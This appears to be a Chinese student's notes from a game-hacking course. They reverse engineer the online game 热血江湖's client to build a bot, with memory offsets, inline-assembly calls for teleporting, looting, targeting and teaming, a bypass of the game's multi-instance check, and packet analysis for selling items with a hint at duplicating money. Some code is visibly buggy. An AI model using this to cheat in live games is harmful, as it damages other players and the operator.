xhy[0]=x;
xhy[1]=300;
xhy[2]=y;
_asm
{
//mov [0146dff8],x //目的地坐标基址
///mov [065FEC8C+14dc],x 目的地坐标基址
mov ebx,0x0146dff8
mov eax,x
mov [ebx],eax
mov eax,y
mov [ebx+0x8],eax
mov ebx,0x065FEC8C
add ebx,0x14dc
mov eax,x
mov [ebx],eax
mov eax,y
mov [ebx+0x8],eax
//065FEC8C+14F4 //跑步 时置1 Dword
// +14F8 //跑步 时置1 byte
// +d95 //跑步 置0
// +d9a //跑步 置0
mov ebx,0x065FEC8C
mov [ebx+0x14f4],1
mov byte ptr [ebx+0x14f8],1
mov [ebx+0xd95],1
mov [ebx+0xd9a],1
}
/////////////
void walk3(float xhy[3])
{ float x,h,y;
x=xhy[0];
h=xhy[1];
y=xhy[2];
_asm
{
mov ecx,0x065FEC8C
push 2
sub esp,0x0c
mov edx,esp
mov edi,x
mov [ecx+0x1F78],edi //x
mov [edx],edi
mov edi,h
mov [ecx+0x1F7c],edi
mov [edx+4],edi
mov edi,y
mov [ecx+0x1f80],edi
mov [edx+8],edi
mov eax,0x00457D60
call eax
}
}
///////////////////////////////
上节课已经将走路的方法找出了,本节课是要写代码在VC里实现.还是先打开OD附加游戏找一下目地坐标也就是ESI的来源.写下walk这个走路的函数,代码已经在上面教案中.测试一下,虽然能走了,但是感觉有点奇怪,竟然能穿墙?我们将游戏小退一下再进入看人物到底移动没移动,原来没有真正的移动而是看到的假像~
又写了walk3这个函数,再来试一次,人物看起来是移动了,那么小退一次呢?回来发现确实移动了.在测试的过程当中他好像可以穿墙?那么更改一下坐标再来试一次,人物直接就走进去了,没太搞清楚怎么回事,怎么看起来像是在瞬移呢.
3.3.1、怪物列表关键代码分析
a、怪物列表(分析原理)
b、回溯怪物列表基址+偏移
c、取得怪物对象的公式
准备工具 CE5.4/OD1.1
说怪物对象 (多个)
放在一个数组里边
(怪名字+怪物血量+怪物等级)-怪对象-怪物列表-??
1、找怪名字(偏移) 065948C4
2、怪对象 (偏移)
3、怪数组基址(基址/偏移)
4、继续找基址
dd [5A12280+index*4] //index是 数组下标值
+8 //总的分类号
+C //怪对象列表内的 下标值
+320 //怪对象名字
///////////////////////////////////////////////////////////
找怪物对象的突破口一般是在怪物的ID,而找怪物一般是通过名字为突破口.我们先来CE找一下怪物”狐狸”,搜索到很多值,其中绿色基址的就不是我们需要找的,因为怪物的名字一般是偏移出现的,所以我们就将偏移的地址都将名字改一下,比如这个被改成1116就是了.我们将当前选中的怪下CE访问,当攻击怪物的时候就出现了内存地址,在CE里看了一下还是开启了OD进行附加.
发现EDI就是怪物名字,向上查找EDI的来源,向上找上级CALL…发现了一个总的对象偏移地址…包含各个NPC的下标,然后再多看几个值,找出了几个有用的偏移值,也就是教案中的公式.
0044F228 |. /75 33 JNZ SHORT Client.0044F25D
0044F22A |. |D905 68F04401 FLD DWORD PTR DS:[144F068]
0044F230 |. |DCC0 FADD ST(0),ST(0)
0044F232 |. |D8A9 04010000 FSUBR DWORD PTR DS:[ECX+104]
0044F238 |. |D999 04010000 FSTP DWORD PTR DS:[ECX+104]
0044F23E |. |8B8B 9C1F0000 MOV ECX,DWORD PTR DS:[EBX+1F9C]
0044F244 |. |D981 04010000 FLD DWORD PTR DS:[ECX+104]
0044F24A |. |D81D DC568300 FCOMP DWORD PTR DS:[8356DC]
0044F250 |. |DFE0 FSTSW AX
0044F252 |. |F6C4 01 TEST AH,1
0044F255 |. |74 06 JE SHORT Client.0044F25D
0044F257 |. |89B9 04010000 MOV DWORD PTR DS:[ECX+104],EDI
0044F25D |> 8B83 30150000 MOV EAX,DWORD PTR DS:[EBX+1530] ; 选中怪ID
0044F263 |. 3D FFFF0000 CMP EAX,0FFFF
0044F268 |. 74 25 JE SHORT Client.0044F28F
0044F26A |. 8B0C85 8022A1>MOV ECX,DWORD PTR DS:[EAX*4+5A12280] ; 根据怪ID值 取出怪对象基址
0044F271 |. 3BCF CMP ECX,EDI
0044F273 |. 74 1A JE SHORT Client.0044F28F
0044F275 |. 8B01 MOV EAX,DWORD PTR DS:[ECX]
0044F277 |. 57 PUSH EDI
0044F278 |. 57 PUSH EDI
0044F279 |. 68 0F040000 PUSH 40F ; dd [EAX*4+5A12280]+320
0044F27E |. FF50 04 CALL DWORD PTR DS:[EAX+4]
0044F281 |. 85C0 TEST EAX,EAX
0044F283 |. 74 0A JE SHORT Client.0044F28F
0044F285 |. C783 30150000>MOV DWORD PTR DS:[EBX+1530],0FFFF
0044F28F |> 39BB 54150000 CMP DWORD PTR DS:[EBX+1554],EDI
0044F295 |. 74 1E JE SHORT Client.0044F2B5
3.3.2、怪物属性分析
a、怪物名
b、怪物血量
c、怪物ID
d、怪物与玩家距离
e、基址特征码
准备工具 CE5.4/OD1.1
说怪物对象 (多个)
放在一个数组里边
(怪名字+怪物血量+怪物等级)-怪对象-怪物列表-??
1、找怪名字(偏移) 065948C4
2、怪对象 (偏移)
3、怪数组基址(基址/偏移)
4、继续找基址
dd [5A12280+index*4] //index是 数组下标值
+8 //=2E 是怪物可能是NPC 总的分类号
+C //怪对象列表内的 下标值
+14 // 服务器上 对象ID(对象在服务器唯一ID标识)(?)
+31C //怪到玩家距离
+320 //+8=2E 怪对象名字
+608//当前血值 //NPC血值0x32000
+60c//怪物等级(?)
+624//血值上限
+6d8 //对象分类编号(比如猫XXXX,狐狸271F NPC为1 (?)
怪死亡 [065948C4+1530]=FFFF;
////////
MOV DWORD PTR DS:[ECX+104],EDI
MOV EAX,DWORD PTR DS:[EBX+1530]
CMP EAX,0FFFF
//////////////
b、怪物血量
1E-64
/////////////////////////////////////
上节课已经找出了怪物的几个有用偏移,本节课将尽量找出更多的信息.而找信息则是一点一点的猜测,其中各个偏移有很多的数据,但我们都不清楚它们是什么,只能通过游戏中怪物或NPC的信息来对号,幸好有一些数被我们对上了……最后猜其中偏移的类型中有NPC的标识.
随笔:本节课是精典的偏移分析课,注意找名字的时候要看ASCII码或者UNCODE,找坐标的时候要查看浮点数,而且不止是查看当前的偏移值,看着像个对象值的偏移,我们还要向下看其中是否还有偏移.我们得佩服郁金香老师的耐心和所分析的数据,都是从大量的实践中得出的结构.当然有用的也要记下特征码.
3.3.3、怪物过滤的编写代码
a、读出怪物列表
b、过滤掉指定怪物
c、选定特定怪物
d、过滤打怪测试
e、选中最近怪物
[5A13A80+index*4] //index是 数组下标值
+8 //=2E 是怪物可能是NPC 总的分类号
+C //怪对象列表内的 下标值
+14 // 服务器上 对象ID(对象在服务器唯一ID标识)(?)
+31C //怪到玩家距离
+320 //+8=2E 怪对象名字
+608//当前血值 //NPC血值0x32000
+60c//怪物等级(?)
+624//血值上限
for (int i=0xa00;i<0xdff;i++)
{
monobj=[CurListBase+index*4];//取得怪物对象基址
if (*monobj==0){return;};怪物数组结尾;
if ( monobj_8==0x2E) //才是怪物,NPC
{
//是怪对象,或者是NPC
if ( monobj_31c<50)
{
//显示怪物信息 怪ID,怪名字
}
}
}
////////////////////////////////////////////////
上节课找了很多有用的信息,本课是要编写代码读出一些数据,建立一个怪物列表的基址,然后用FOR语句来遍历范围内的怪物.
void CPAGE1::OnBtnReadmonlist()
{ //清空列表内容
m_monlist_ctl.ResetContent();//清空列表内容
int *selmonb, *monobj,*monobj_8,mini;//定义指针变量
float *monobj_31c,minf;//坐标变量,最小距离
char * monobj_320;// 存放怪物名
minf=250;mini=0;//最小距离初始化
for (int i=0xa00;i<0x0Fff;i++)//设定遍历范围
{
monobj=(int*)(CurListBase+i*4);//取得怪物对象基址
if (*monobj==0){
//显示 距离最近怪物
char minc[22];//显示怪ID mini
memset(minc,0,22);//清零
itoa(mini,minc,16);
//semon(i);
selmonb=(int*)(CurListBase+mini*4);
_asm
{
mov edi,selmonb //怪对象基址指针
mov edi,[edi]//怪对象基址
mov eax,[edi]
push 0
push 1
push 0x44c
mov ecx,edi
mov eax,[eax+4]
call eax
}
m_monlist_ctl.AddString(minc);//显示 最近怪物ID
return;};//怪物数组结尾;
monobj_8=(int*)(*monobj+8);
monobj_31c=(float*)(*monobj+0x31c);//距离
monobj_320=(char*)(*monobj+0x320);//取得怪物名地址
if ( *monobj_8==0x2E) //分辨怪物和NPC
{
//是怪对象,或者是NPC
if ( *monobj_31c<150)
{
//显示怪物ID号]
char monid[16];//怪物ID
char msg[256];//怪物名字地址
itoa(i,monid,16);//怪物ID
memset(msg,0,256);//内存清零,大小为256字节
strcat(msg,monobj_320);//存放怪名字到msg字串
strcat(msg,monid);//加上怪ID msg=monobj_320+monid
//取得距离玩家最近 怪物ID号
if (*monobj_31c<minf) //缩小怪物距离范围
{ minf=*monobj_31c;//取得最小值
mini=i;
}
//显示怪物信息 怪ID,怪名字
m_monlist_ctl.AddString(msg);
}
}
}
}
附:322相关函数说明
Memset(monmsg,0,256);//清代零内存,很重要,因为分配时缓冲区可能非零
Strcpy(monmsg,moindc);//字串复制
Memcpy(monmsg,monName,strlen(monName));//字串复制
Itoa(*monid,monidc,16);//把整数monid,转换成16进制数存放到monidc缓冲区
Strcat(monmsg,monidc);//字符串加法类似Delhi的Monmsg:=monmsg+monidc;
CblistBox属性
ResetContent();//清空
AddString(s);//添加一行内容S为字串
异常处理
_try
{
} //end try
_except(EXCEPTION_EXECUTE_HANDLER)
{ return;}
// EXCEPTION_EXECUTE_EXECUTION (-1) 忽略异常,继续在发生异常的地方执行.
// EXCEPTION_EXECUTE_SEARCH (0) 异常在这里处理,在SHE链中查找下一个处理器
// EXCEPTION_EXECUTE_HANDLER(1) 在_except中执行,然后在_except后面执行.
随笔:这本课也比较长,合适于仔细学习代码编写.
3.4.1、物品属性分析
a、物品ID
b、物品对象
c、物品属性分析
MOV DWORD PTR DS:[ECX+104],EDI
MOV EAX,DWORD PTR DS:[EBX+1530]
CMP EAX,0FFFF
MOV ECX,DWORD PTR DS:
[EAX*4+5A13A80]//物品对象基址 及公式
dd 9d0*4+5A13A80 //物品属性
+8 //分类编号 33时表示物品
+C //在对象数组中的 下标值 (通用)
+90//名字
+64//与玩家距离
+48 ,+13c,+194//物品坐标值
///////////////////////////////////////////////////////
因为游戏更新了,先用上次的特征码查找到游戏的对象列表,再测试一下确实是很多怪物的对象,在当前选中怪处(+1530的偏移)下硬件写入,然后拾取一个物品,被断下来了.然后我们再找一个拾取物品的名字,偏移是+90,这样就通过捡物找出了当前物品的对象及名字.
再来测试一下,在拾取物品的时候下断,然后将物品的ID修改掉看是什么情况?果然捡不起来了.然后又找了一下物品与玩家的距离是+64,当前坐标是+48/+13C/+194
最后也证实了,物品对象/怪物对象/NPC对象/玩家对象都是这同一个地址(教案里那个红字).
3.4.2、物品过滤(编程读出物品列表数据)
a、读出物品列表
b、条件判断是否捡物(距离,物品名)
c、显示出提示信息
MOV DWORD PTR DS:[ECX+104],EDI
MOV EAX,DWORD PTR DS:[EBX+1530]
CMP EAX,0FFFF
MOV ECX,DWORD PTR DS:
[EAX*4+5A13A80]//物品对象基址 及公式
dd 9d0*4+5A13A80 //物品属性
+8 //分类编号 33时表示物品
+C //在对象数组中的 下标值 (通用)
+64//与玩家距离
+90//名字
+48 ,+13c,+194//物品坐标值
/////////////////////
for (int i=0xa00;i<0x0Fff;i++)
{
如果 goods.8==0x33 说明是物品
显示出物品
列表框.添加一行(goods.90);
}
void CPAGE1::OnBtnReadgoodlist()
{
//清空列表内容
m_monlist_ctl.ResetContent();
int* Goodsobj;//指向物品对象基址
int* obj_8;//分离编移 0x33才表示物品
char* obj_90; //物品名字
float* obj_64; //与玩家距离
char showstr[512],st[33];//物品名
for (int i=0x0;i<0x1Fff;i++)
{
Goodsobj=(int*)(CurListBase+i*4);//取得对象基址指针
if (*Goodsobj==0){return;} //遍历到对象数组 尾部
obj_8=(int*)(*Goodsobj+0x8);//指针指向分类编号
if (*obj_8==0x33/*判断是否为物品类*/)
{//如果是物品则执行下列操
obj_90=(char*)(*Goodsobj+0x90);//指针指向物品名字
obj_64=(float*)(*Goodsobj+0x64);//此指针指向与玩家的距离
//显示出来
memset(showstr,0,512);//清空内存
memcpy(showstr,obj_90,strlen(obj_90));//将字符串保存
//strcat;字串+
strcat(showstr,",距离:");
//显示距离
//itoa((int)obj_64,st,10);//把距离 转成字串 存放到st
sprintf(st,"%f",*obj_64);//格式转换为浮点
strcat(showstr,st);//将距离加在物品后面
//在列表控件里添加一行
if (*obj_64<60 /*&& (strcmp(obj_90,"金创药(小)")==0)*/) //物品过滤只显示需要的东西
{
m_monlist_ctl.AddString(showstr);//添加到列表中
}
}
}
}
////////////////////////////////////////////////////////////
在代码中添加”读取物品列表”按钮,用前面的读取怪物列表代码拿过来看一下,然后重写……
测试了一下确实可以读出地上物品了,但是距离显示错误,所以再转换一下.再测试一下,发现物品离远一点就读不出来了.
随笔:本节课又是一个经典的代码编写课,对我这个不太会VC的人要仔细看.
3.4.3、捡物过滤
a、分析捡物深层CALL
b、PickID(物品ID);
c、捡物过滤
d、捡物范围控制
1、修改物品分类,ECX+8=0x88,执行捡物动作,ECX+8=0x33;
2、找出深层捡物CALL,自己写代码遍历整个对象列表,获取最近物品(过滤掉不需要物品),深层捡物(对象,对象ID);
MOV ECX,DWORD PTR DS:[5A199C0]
CALL 0045F9D0
DEC eax/ebx/ecx/edi/esi/edx/ax/ 减1指令
dec eax //eax=eax-1;
dd 9d0*4+5A13A80 //物品属性
+8 //分类编号 33时表示物品
+C //在对象数组中的 下标值 (通用)
+64//与玩家距离
+90//名字
+48 ,+13c,+194//物品坐标值
FCOMP DWORD PTR DS:[8356D8] //捡物范围 控制 float类型
LEA EAX,DWORD PTR DS:[ESI+64] //物品与人物之间的偏移
MOV DWORD PTR DS:[ESI+14F0],EBX//写入要捡物ID
//过滤物品 金创药(小)
//写入+8==33 并且+90="金创药(小)" +8=0x88
MOV ECX,DWORD PTR DS:[5A199C0]
CALL 0045F9D0
//找出+8=0x88 恢复成33
break 是跳出循环,,而return则是退出函数
////////////////////////////////////////////////////////////
又是一节大长课53分钟~老师讲的很细.
今天要弄捡物过滤,先找到捡物CALL处,找到之前所做的注释处,进入CALL里进行验证,是正确的,所以记下特征码.
0045FA06 |. 8379 08 33 |CMP DWORD PTR DS:[ECX+8],33
0045FA0A |. 75 32 |JNZ SHORT Client.0045FA3E
0045FA0C |. 8B01 |MOV EAX,DWORD PTR DS:[ECX] ; 捡物CALL 内部$+3C
0045FA0E |. 6A 00 |PUSH 0
0045FA10 |. 6A 00 |PUSH 0
0045FA12 |. 6A 00 |PUSH 0
0045FA14 |. FF50 04 |CALL DWORD PTR DS:[EAX+4]
0045FA17 |. 8BC8 |MOV ECX,EAX
0045FA19 |. D901 |FLD DWORD PTR DS:[ECX]
然后再用键盘捡物下断,看一下CALL内部的情况,找到了一个对象列表的基址,然后看到下面在不断的+4遍历整个列表,应该是一个FOR循环,结束的条件就是EBP-8这里.而这段代码中还有对物品类型等的比较,坐标等信息.再看看我们发现的捡物范围是否正确.
在代码注入器里测试一下代码试试,没有捡物也没有出错.
在VC里编写代码,意思是先遍历到当前物品,如果是我们要的,就将物品类型改成0x88,这样物品类型就不对了所以就不会捡,否则就实行捡物.这样测试了一上金创药(小)果然没有捡.
void CPAGE1::OnPickGoodnp()
{
//清空列表内容
m_monlist_ctl.ResetContent();
int* Goodsobj;//指向物品对象基址
int* obj_8;//分离编移 0x33才表示物品
char* obj_90; //物品名字
float* obj_64; //与玩家距离
char showstr[512],st[33];
for (int i=0;i<0x1Fff;i++)
{
Goodsobj=(int*)(CurListBase+i*4);//取得对象基址指针
if (*Goodsobj==0){break;} //遍历到对象数组 尾部
obj_8=(int*)(*Goodsobj+0x8);//指针指向分类编号
if (*obj_8==0x33/*判断是否为物品类*/)
{//如果是物品则执行下列操
obj_90=(char*)(*Goodsobj+0x90);//指针指向物品名字
obj_64=(float*)(*Goodsobj+0x64);//此指针指向与玩家的距离
//显示出来
memset(showstr,0,512);//清空内存
memcpy(showstr,obj_90,strlen(obj_90));
//strcat;字串+
strcat(showstr,",距离:");
//显示距离
//itoa((int)obj_64,st,10);//把距离 转成字串 存放到st
sprintf(st,"%f",*obj_64);
strcat(showstr,st);
//在列表控件里添加一行
if ( (strcmp(obj_90,"金创药(小)")==0))
{
*obj_8=0x88;
}
}
} //实行过滤
//捡物
m_monlist_ctl.AddString("捡物");
_asm
{
MOV ECX,0x5A199C0 //mov ecx,5A199C0
mov ecx,[ecx]
mov eax,0x0045F9D0
call eax
}
//////////遍历恢复
for ( i=0x0;i<0x1Fff;i++)
{
Goodsobj=(int*)(CurListBase+i*4);//取得对象基址指针
if (*Goodsobj==0){return;} //遍历到对象数组 尾部
obj_8=(int*)(*Goodsobj+0x8);//指针指向分类编号
if (*obj_8==0x88/*判断是否为物品类*/)
{//如果是物品则执行下列操
*obj_8=0x33;
}
}
}
3.4.4、游戏多开实现
a、游戏防止多开的原理
b、找出本游戏多开的方法
c、测试验证
1防止程序多开的原理
游戏主程序的防止同一程序同时运行多个实例的检测~
方法1:
aFindWindow(类名,窗口标题) 如果返回句柄>0 退出
bEnumWindow 配合GetWindowText(h,lpCaption,255); if lpCaption==游戏标题 then 退出
cGetWindow(hwnd,GW_HWNDFIRST) GetWindow(hwnd,GW_HWNDNEXT) 配合GetWindowText
方法2:互斥体
CreateMutex(nil, false, pchar(ApplicationName));//配合
if Getlasterror == ERROR_ALREADY_EXISTS {已经有一个实例运行退出}
方法3:全局共享节
方法3、 创建共享节
1、
#pragma data_seg("Shared")
bool isExist = false; /*已经初始化变量*/
int num1; /*未初始化变量*/
#pragma data_seg()
2、
将初始化或未初始化的数据放入希望的任何节中
__declspec(allocate("Shared")) int num2 = 0; /*添加初始化的变量*/
__declspec(allocate("Shared")) int num3; /*添加未初始化的变量*/
注:在向节中添加数据之前必须先创建该节。
3、
设置节的属性
#pragma comment(linker, "/Section:Shared,RWS")
注:节的属性包括RWS,其中R代表READ,W代表WEITE,S代表SHARED。
// Login Client
///////////////////////////////////////////////////////
课程的背景不是梅州改成郁金香了?
原本是要先找组队的,这就需要游戏多开,所以把后面的多开课程拿到这里来讲.游戏防多开的方法有很多,这里介绍了几种最常见的方法(教案中).
为了更好的说明问题,在VC中编写了几个上述的防多开程序,
方法1:
HWND h=::FindWindow(NULL,"FindWindow防多开");
if ((h>0))
{
MessageBox("游戏已经运行");
ExitProcess(0);
}
SetWindowText("FindWindow防多开");
方法2:
CreateMutex(NULL,false,"防游戏多开");
if (GetLastError()==ERROR_ALREADY_EXISTS)
{
MessageBox("防多开退出");
ExitProcess(0);
}
方法3:
#pragma data_seg("Shared")
int isExist =0; /*已经初始化变量*/
#pragma data_seg()
#pragma comment(linker, "/Section:Shared,RWS")
……
if (isExist>0)
{
char ct[33];
itoa(isExist,ct,10);
strcat(ct,"防多开退出");
MessageBox(ct);
isExist=isExist+1;
ExitProcess(0);
}
isExist=isExist+1;//可以知道运行次数
return TRUE;
最后经过测试发现RXJH是通过查找窗口来实现防止多开的,那太简单了,改掉就OK了.
void CChgGameCaptionDlg::OnButton1()
{
HWND h=::FindWindow(NULL,"YB_OnlineClient");
::SetWindowText(h,"热血江湖");
}
随笔:哇,游戏多开太棒了我喜欢!VC班的多开讲的比DELPHI班强多了.
参考 244选怪
3.5.1、 选定指定角色
a、多开BUG修证
b、分析玩家属性
c、遍历玩家列表
d、选定指定玩家角色原理
e、int SelPlayer(pchar 玩家名);
1BUG修证
2分析玩家属性
+8
31玩家,2E怪物/NPC,33物品 分类编号
+0E14
玩家名称
+距离
+坐标
14DC;//x,h,y
16DC;//x,h,y
1F78://x,h,y
// X坐标相同 距离 abs(y1-y2)
// Y坐标相同 距离 abs(x1-x2)
// x,y都不相同 距离 c=sqrt(a2+b2)
+等级 (等级相差10级不能组队)
dd [5B307C8]+1530 //当前选中对象ID FFF
dd [[[5B307C8]+1530]*4+5B2A888] //显示指定ID的对象基址
int SelPleyer
////////////////////////////////////////////////////////////
上节课可以实现多开了,但是还不能够真正玩游戏,因为多开后游戏不能登陆了.此时我们解决的办法也有,就是将原游戏复制到一个新的目录再打开就可以了.
想要组队首先是要找到对方,所以在游戏中要先找到当前选中,然后看一下分类,玩家分类是+31,再找玩家名称+0E14,再找距离,用勾股定理来查找玩家的距离.
打开VC,编写代码:先写出遍历周围玩家的代码,找出后又添加玩家过滤的代码.
int SelPleyer(PCHAR playName)//选定指定玩家
{
//清空列表内容
//m_monlist_ctl.ResetContent();
int* Goodsobj;//指向物品对象基址
int* obj_8;//分类
char* obj_E14; //物品名字
for (int i=0x0;i<0x1Fff;i++)
{ Goodsobj=(int*)(CurListBase+i*4);//取得对象基址指针
if (*Goodsobj==0){return 0;} //遍历到对象数组 尾部
obj_8=(int*)(*Goodsobj+0x8);//指针指向分类编号
if (*obj_8==0x31/*判断是否为玩家类*/)
{//如果是玩家则执行下列操
obj_E14=(char*)(*Goodsobj+0xE14);//指针指向物品名字
//在列表控件里添加一行
if (strcmp(playName,obj_E14)==0)
{
//选中 玩家
_asm
{
mov edi,Goodsobj
mov edi,[edi]
//mov edi,*Goodsobj
mov eax,[edi]
push 0
push 1
push 0x44c
mov ecx,edi
mov eax,[eax+4]
call eax
}
3.5.2、计算玩家间的距离(已知坐标)
a、坐标系内的点1与点2
b、2点间的距离计算公式
c、准备知识
d、planRange(int p1,int p2)函数构建
基址更新如下:
00582955 A1 88B3B105 MOV EAX,DWORD PTR DS:[5B1B388]
0058295A 85C0 TEST EAX,EAX
0058295C 0F84 1E170000 JE Client.00584080
00582962 8B80 30150000 MOV EAX,DWORD PTR DS:[EAX+1530]
00582968 3D FFFF0000 CMP EAX,0FFFF
0058296D 0F84 0D170000 JE Client.00584080
00582973 8B1485 4854B105 MOV EDX,DWORD PTR DS:[EAX*4+5B15448]
0058297A 85D2 TEST EDX,EDX
dd [5B1B388]+1530
dd [[[5B1B388]+1530]*4+5B15448] //选中玩家
[5B1B388]+14DC//
[[[5B1B388]+1530]*4+5B15448]+16AC //xhy
#include <math.h>
// p1 [CurRoleBase]+16dc
//p2 [[[CurRoleBase]+1530]*4+CurListBase]+16DC //xhy
1Y坐标相同 abs(p1.x-p2.x)<3
2X坐标相同 abs(p1.y-p2.y)<3
3求距离 p1.x<>p2.x p1.y=p2.y
勾股定理 a2+b2=c2
float planRange(int p1,int p2) //p1当前角色坐标基址 ,p2,其它对象坐标基址
{ float p1x,p1y,p2x,p2y;
float rx,ry,rc;
_asm
{
//读p1点坐标 x=[base+0],h=[base+4],y=[base+8]
mov eax,p1
mov ebx,[eax]
mov p1x,ebx //p1.x
mov ebx,[eax+8]
mov p1y,ebx
//读p2点坐标 x=[base+0],h=[base+4],y=[base+8]
mov eax,p2
mov ebx,[eax]
mov p2x,ebx //p1.x
mov ebx,[eax+8]
mov p2y,ebx
}
if (p1y==y2y)
{
return fabs(p1x-p2x);
}
if (p1x==y2x)
{
return fabs(p1y-p2y);
}
rx=(float)fabs(p1x-p2x);
ry=(float)fabs(p1y-p2y);
rc=(float)sqrt(rx*rx+ry*ry);
return rc;
}
sqrt()开平方
Y坐标相同
p1(33,-33)
p2(33,33) abs(x1-x2)=abs(x2-x1) -33-33=-66=66=33-(-33)
X坐标相同
abs(y1-y2)=abs(y2-y1)
a2=abs(y1-y2)*abs(y1-y2)
b2=abs(x1-x2)*abs(x1-x2)
sqrt(开方)
c=sqrt(a2+b2);
//////////////////////////////////////////////////////////////////////
今天要计算玩家之间的距离,因为如果距离太远则无法组队,为了讲解坐标算法老师还给画了图,其实勾股定理也很简单.找到玩家对象的距离偏移,接下来编写代码.代码中先读出X和Y的坐标值,然后加以判断,先看是否为X或Y相同,如果是就用直接算法,如果坐标都不同则用勾股定理来计算.
……
写了半天代码,坐标还是没有正确读出来,原来是游戏更新了,更新一下,已经能够正确显示出坐标值了,下节课继续.
本节课老师的教案写的超详细哦.
3.5.3 组队功能
a 更新组队动作CALL
b 邀请指定玩家加入队伍功能实现
c 封装到int Invite(char *playName)函数
组队CALL 005E6A30
/////////////////////////////////////////////////////////////////////////////////
通过前面的努力,这节课终于要正式开始组队功能的实现了.先找到组队的动作CALL,我们之前在257课找过,因为游戏又更新了,所以通过特征码再次查找到组队动作CALL.
然后在VC里编写代码,测试了一下,好像是选中目标出现错误,我们更改了一下,可以组队了.
int Invite(char* playName) //邀请某人加入队伍
{SelPleyer(playName);
_asm
{
mov eax,0x005E6A30
call eax //邀请加入组队
}
return 1;
}
void CPAGE1::OnBUTTONInvite()
{
// TODO: Add your control notification handler code here
Invite("木一剑");
}
附:普通CALL特征码
0045F820 /$ 55 PUSH EBP ; 普攻CALL
0045F821 |. 8BEC MOV EBP,ESP
0045F823 |. 83EC 1C SUB ESP,1C
0045F826 |. A1 70044701 MOV EAX,DWORD PTR DS:[1470470]
0045F82B |. 53 PUSH EBX
0045F82C |. 56 PUSH ESI
0045F82D |. 57 PUSH EDI
0045F82E |. 85C0 TEST EAX,EAX
0045F830 |. 8BF1 MOV ESI,ECX
0045F832 |. 0F85 D2010000 JNZ Client.0045FA0A
0045F838 |. 8B86 30150000 MOV EAX,DWORD PTR DS:[ESI+1530] ; 特征码开始
0045F83E |. 8B8E F0140000 MOV ECX,DWORD PTR DS:[ESI+14F0]
0045F844 |. 8D9E F0140000 LEA EBX,DWORD PTR DS:[ESI+14F0]
0045F84A |. 3BC8 CMP ECX,EAX ; 特征码截止
0045F84C |. 75 0D JNZ SHORT Client.0045F85B
0045F84E |. 83BE F4140000>CMP DWORD PTR DS:[ESI+14F4],2
0045F855 |. 0F84 AF010000 JE Client.0045FA0A
0045F85B |> 8B8E E00D0000 MOV ECX,DWORD PTR DS:[ESI+DE0]
0045F861 |. 83F9 03 CMP ECX,3
MOV EAX,DWORD PTR DS:[ESI+1530]
MOV ECX,DWORD PTR DS:[ESI+14F0]
LEA EBX,DWORD PTR DS:[ESI+14F0]
CMP ECX,EAX
3.5.4、 离队功能
a、分析离队动作
b、逆向分析离队代码
c、初识封包
d、Rep stos [edi]
e、内存中的数据与 byte,int的对应关系
f、封装离队函数void exitTeam();
dd 46E4508 //是否组队 标志
005E81B9 |. A0 08456E04 MOV AL,BYTE PTR DS:[46E4508] ; Case 7B98A2 of switch 005E8110
005E81BE |. 84C0 TEST AL,AL ; dd 46E4508 =1
005E81C0 |. 0F84 80010000 JE Client.005E8346
005E81C6 |. 57 PUSH EDI ; 007B98A2
005E81C7 |. B9 000A0000 MOV ECX,0A00 ; 2560*4大小
005E81CC |. 33C0 XOR EAX,EAX
005E81CE |. 8DBD FED7FFFF LEA EDI,DWORD PTR SS:[EBP-2802]
005E81D4 |. 66:C785 F8D7F>MOV WORD PTR SS:[EBP-2808],0
005E81DD |. 6A 06 PUSH 6 ; 6 封包数据缓冲区 大小
005E81DF |. F3:AB REP STOS DWORD PTR ES:[EDI] ; EAX 填充数据,ECX 计数
005E81E1 |. 8B0D A8DF4401 MOV ECX,DWORD PTR DS:[144DFA8]
005E81E7 |. 66:8985 FCD7F>MOV WORD PTR SS:[EBP-2804],AX ; 0x0000
005E81EE |. 8D85 F8D7FFFF LEA EAX,DWORD PTR SS:[EBP-2808] ; eax
005E81F4 |. 66:C785 FAD7F>MOV WORD PTR SS:[EBP-2806],36 ; 0x0036
005E81FD |. 50 PUSH EAX ; 00 00 36 00 00 00
005E81FE |. E8 FD4EE5FF CALL Client.0043D100 ; 退出组队
F1-F8
dc [ECX+8*4+3D8]+4C
//技能,动作 在服务上的唯一标识
byte sdata[8]={00,00,0x36,00,00,00,0,0};
//int sdata[2]={0x360000,0};
_asm
{
push 0x007B98A2
push 6
lea eax,sdata
push eax
mov eax,0x0043D100
MOV ECX,0x144DFA8
mov ecx,[ecx]
call eax
}
rep stos [edi] // eax ,ecx 循环 ECX次 从EDI开始EAX填充指定地址
////////////////////////////////////////////////////////////////////
组队已经完成了,再来离队吧,继续OD游戏,找一下分离的CALL,重点讲解了REP STOS汇编指令,是循环写入指令,汇编代码在教案中.
进这个离队CALL里看一下,里面有WSASend函数,是发送封包的,而上面那个2560个大小的数据可以是封包里的各类数据,再看一下dd eax 和db eax的值,通过仔细的分析,发现封我只是用到6个字节的数据.然后编写代码(在教案中).测试一下,成功的调用了退队功能.既然已经好用了,那么就封装在一个函数中方便以后调用.
但是第一个参数EDI我们没有找到它的来源,这样我们就找找看看,返回上级,就发现了其实这个EDI是调用了技能拦,并找到了动作的名称和标识.那么如果退队的动作不放在技能拦上是否能退队呢?一样退出了.
3.6.1-1、售物功能封包分析
1、封包回溯,找未加密的封包
2、确家关键CALL
3、分析封包(物品数量,类型,位置)
4、功能测试SellGoods函数构建
专业抓包工具:sniffer,WPE :通过HOOK WSASend,send,WSASendto,sendto :虽然专业,但显得不灵活
OD分析封包:灵活
//刷钱,刷物,,
//向服务发送数据
WSASend
0043D100 >/$ 55 PUSH EBP ; WSASend发包CALL
0043D101 |. 8BEC MOV EBP,ESP
0043D103 |. B8 10240000 MOV EAX,2410
0043D108 |. E8 F3083900 CALL Client.007CDA00
0043D10D |. 8B41 10 MOV EAX,DWORD PTR DS:[ECX+10]
0043D110 |. 56 PUSH ESI
0043D111 |. 83F8 FF CMP EAX,-1
0043D114 |. 57 PUSH EDI
0043D115 |. 894D F8 MOV DWORD PTR SS:[EBP-8],ECX
//出售1个 狼牙箭
0012A4DC 00 00 92 00 70 00 02 00 00 00 00 00 00 00 95 CA
0012A4EC 9A 3B 01 00 00 00 00 00 00 00 90 B0 0E 00 00 00 //01 为数量
0012A4FC 00 00 E2 F1 0F 7B 9F 2F D5 17 95 CA 9A 3B 01 00 //物品类
0012A50C 00 00 00 00 00 00 01 04 00 00 01 00 00 00 00 00 //背包下标
0012A51C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
